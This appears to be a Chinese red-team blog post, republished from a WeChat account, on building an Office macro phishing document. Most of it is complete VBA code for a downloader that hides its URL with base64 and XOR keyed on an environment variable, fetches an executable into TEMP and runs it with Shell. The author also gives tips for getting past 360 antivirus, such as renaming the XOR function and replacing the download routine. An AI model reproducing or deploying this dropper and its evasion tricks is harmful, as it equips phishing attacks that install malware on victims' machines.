今天看到一篇主题是关于解密远程url地址，然后下载回本地进行rundll32调用的宏钓鱼文章，觉得挺有意思，就复现下。
office宏钓鱼就不多说了，在之前红蓝对抗之邮件钓鱼攻击 也有所提及。
常见的宏钓鱼手段，都是利用cobaltstrike直接生成，但是经常容易被杀掉，绕过手段也在上文提到，这次来了解下其他手段。
在“钓鱼文档碎碎念(三)”文章提到了原文作者的一些思路，但是没有给出完整的代码，这次本着学习vb的想法来看下这个宏钓鱼的流程。
首先把下载的恶意url利用环境变量进行xor编码：http://www.vbaexpress.com/kb/getarticle.php?kbid=951，这里使用的是大概率不变的环境变量（我本地win10也是这个值），PROCESSORREVISION：9e0a
原文作者把base64解码过的url放到宏中进行xor解码，但是解码出来是乱码，放到宏中有些不妥，甚至会无法识别：
因此这里我改成了把xor的值进行base64编码下，然后再base64解码：
Function GetByte(needle)
Dim haystack
haystack = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
GetByte = InStr(1, haystack, needle, vbBinaryCompare) - 1
If GetByte = -1 Then
Err.Raise 513, "DecodeBase64", "Invalid character in base64 string"
End If
End Function
Private Function DecodeBase64(strData)
Dim i, inCount, outCount, firstTime
Dim inArray(0 To 3) As Integer
Dim outArray() As Byte
If Len(strData) Mod 4 <> 0 Then
Err.Raise 514, "DecodeBase64", "Base64 string length is not multiple of four"
End If
Rem Each quartet generates up to three bytes.
firstTime = True
While Len(strData) > 0
Rem Get incoming values (up to "="), counting them.
inCount = 0
For i = 1 To 4
If Mid(strData, i, 1) <> "=" Then
inArray(i - 1) = GetByte(Mid(strData, i, 1))
inCount = inCount + 1
Else
Exit For
End If
Next
Rem Must have four non-"=" characters unless at end.
If Len(strData) > 4 And inCount <> 4 Then
Err.Raise 515, "DecodeBase64", "Base64 string has '=' characters in middle"
End If
Rem Must have at least two non-"=" characters.
If inCount < 2 Then
Err.Raise 516, "DecodeBase64", "Base64 string has invalid ending"
End If
Rem Work out output bytes based on input (2->1, 3->2, 4->3) and expand array.
outCount = inCount - 1
If firstTime Then
ReDim outArray(outCount - 1)
firstTime = False
Else
ReDim Preserve outArray(UBound(outArray) + outCount)
End If
Rem Add elements to output.
outArray(UBound(outArray) + 1 - outCount) = (inArray(0) And &H3F) * 4 + (inArray(1) And &H30) / 16
If outCount >= 2 Then
outArray(UBound(outArray) + 2 - outCount) = (inArray(1) And &HF) * 16 + (inArray(2) And &H3C) / 4
End If
If outCount >= 3 Then
outArray(UBound(outArray) + 3 - outCount) = (inArray(2) And &H3) * 64 + (inArray(3) And &H3F)
End If
strData = Mid(strData, 5)
Wend
DecodeBase64 = outArray
End Function
变成下面这样：
解码出url后，下来回来，然后调用rundll32执行。
但是当我利用360查杀时，发现会提示宏病毒：
尝试进行删减部分代码，来判断具体被查杀的点，发现xor编码的函数会被查杀，因此修改XorC函数名，可以绕过360对xor函数的查杀。除了xor以外，发现下载文件的函数也被查杀了，因此网上随便找个下载文件的代码即可绕过。
最后成功调用rundll32执行下载回来的dll，虽然word文档不被查杀了，但是还是会被360查杀，会提示你调用rundll32了。
因此可以换个思路，不下载dll，而是直接下载个exe，然后利用shell去执行就行：
完成代码如下：
Option Explicit
Sub test()
Dim sKey As String
Dim payload As String
Dim DownloadURL As String
Dim Godownload As String
Dim dllpath As String
sKey = Environ("PROCESSOR_REVISION")
payload = StrConv(DecodeBase64("eHh4UhJFEktgIE9PE0hQWw5aEFkIUglTAUNQWwteT1sFXQMYAl0O"), vbUnicode)
DownloadURL = XororC(payload, sKey)
dllpath = Downloadstring(DownloadURL)
Godownload = Rundll(dllpath)
End Sub
Function Rundll(ByVal dllpath As String) As String
Shell (dllpath)
End Function
Function Downloadstring(ByVal DownloadURL As String) As String
Dim oStream As Object
Dim myURL As String
Dim savename As String
savename = "test.exe"
Dim dstPath As String
dstPath = Environ$("TEMP") & "" & savename
Dim WinHttpReq As Object
Set WinHttpReq = CreateObject("Microsoft.XMLHTTP")
WinHttpReq.Open "GET", DownloadURL, False, "username", "password"
WinHttpReq.send
If WinHttpReq.Status = 200 Then
Set oStream = CreateObject("ADODB.Stream")
oStream.Open
oStream.Type = 1
oStream.Write WinHttpReq.responseBody
oStream.SaveToFile dstPath, 2 ' 1 = no overwrite, 2 = overwrite
oStream.Close
End If
Downloadstring = dstPath
End Function
Function XororC(ByVal sData As String, ByVal sKey As String) As String
Dim l As Long, i As Long, byIn() As Byte, byOut() As Byte, byKey() As Byte
Dim bEncOrDec As Boolean
If Len(sData) = 0 Or Len(sKey) = 0 Then XororC = "Invalid argument(s) used": Exit Function
If Left$(sData, 3) = "xxx" Then
bEncOrDec = False
sData = Mid$(sData, 4)
Else
bEncOrDec = True
End If
byIn = sData
byOut = sData
byKey = sKey
l = LBound(byKey)
For i = LBound(byIn) To UBound(byIn) - 1 Step 2
byOut(i) = ((byIn(i) + Not bEncOrDec) Xor byKey(l)) - bEncOrDec
l = l + 2
If l > UBound(byKey) Then l = LBound(byKey)
Next i
XororC = byOut
If bEncOrDec Then XororC = "xxx" & XororC
End Function
Function GetByte(needle)
Dim haystack
haystack = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
GetByte = InStr(1, haystack, needle, vbBinaryCompare) - 1
If GetByte = -1 Then
Err.Raise 513, "DecodeBase64", "Invalid character in base64 string"
End If
End Function
Private Function DecodeBase64(strData)
Dim i, inCount, outCount, firstTime
Dim inArray(0 To 3) As Integer
Dim outArray() As Byte
If Len(strData) Mod 4 <> 0 Then
Err.Raise 514, "DecodeBase64", "Base64 string length is not multiple of four"
End If
Rem Each quartet generates up to three bytes.
firstTime = True
While Len(strData) > 0
Rem Get incoming values (up to "="), counting them.
inCount = 0
For i = 1 To 4
If Mid(strData, i, 1) <> "=" Then
inArray(i - 1) = GetByte(Mid(strData, i, 1))
inCount = inCount + 1
Else
Exit For
End If
Next
Rem Must have four non-"=" characters unless at end.
If Len(strData) > 4 And inCount <> 4 Then
Err.Raise 515, "DecodeBase64", "Base64 string has '=' characters in middle"
End If
Rem Must have at least two non-"=" characters.
If inCount < 2 Then
Err.Raise 516, "DecodeBase64", "Base64 string has invalid ending"
End If
Rem Work out output bytes based on input (2->1, 3->2, 4->3) and expand array.
outCount = inCount - 1
If firstTime Then
ReDim outArray(outCount - 1)
firstTime = False
Else
ReDim Preserve outArray(UBound(outArray) + outCount)
End If
Rem Add elements to output.
outArray(UBound(outArray) + 1 - outCount) = (inArray(0) And &H3F) * 4 + (inArray(1) And &H30) / 16
If outCount >= 2 Then
outArray(UBound(outArray) + 2 - outCount) = (inArray(1) And &HF) * 16 + (inArray(2) And &H3C) / 4
End If
If outCount >= 3 Then
outArray(UBound(outArray) + 3 - outCount) = (inArray(2) And &H3) * 64 + (inArray(3) And &H3F)
End If
strData = Mid(strData, 5)
Wend
DecodeBase64 = outArray
End Function
PS：
1、在依葫芦画瓢的时候，发现代码会提示你变量未定义，记得Dim来定义下，string就写string，object就写object。
2、function函数return的时候，就写functionname = 值 即可
本文始发于微信公众号（中国白客联盟）：office解密宏钓鱼
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论